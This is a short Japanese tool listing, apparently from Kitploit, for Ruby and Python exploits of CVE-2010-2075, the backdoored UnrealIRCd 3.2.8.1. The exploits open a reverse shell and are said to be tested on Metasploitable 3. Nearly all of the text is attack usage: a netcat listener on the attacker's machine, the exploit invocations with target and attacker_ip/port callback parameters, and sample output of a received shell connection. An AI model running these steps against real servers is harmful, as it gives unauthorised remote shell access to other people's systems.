unrealircd3.2.8.1-local-exploit — UnrealIRCd 3.2.8.1を標的としたCVE-2010-2075のRubyおよびPythonエクスプロイト。Metasploitable 3でリモートリバースシェルアクセスを提供します。 | Kitploit

Metasploitable 3 でテスト済み

使用方法

攻撃側のシェルで

nc -nlvp 1111

被害側のシェルで

ruby exploit.rb 127.0.0.1

攻撃側のシェルでの期待される出力

listening on [any] 1111 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 48144
boba_fett

被害側のシェルで

python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd <command> -li <attacker_ip> -lp <attacker_port>

攻撃側のシェルで

nc -nlvp 1111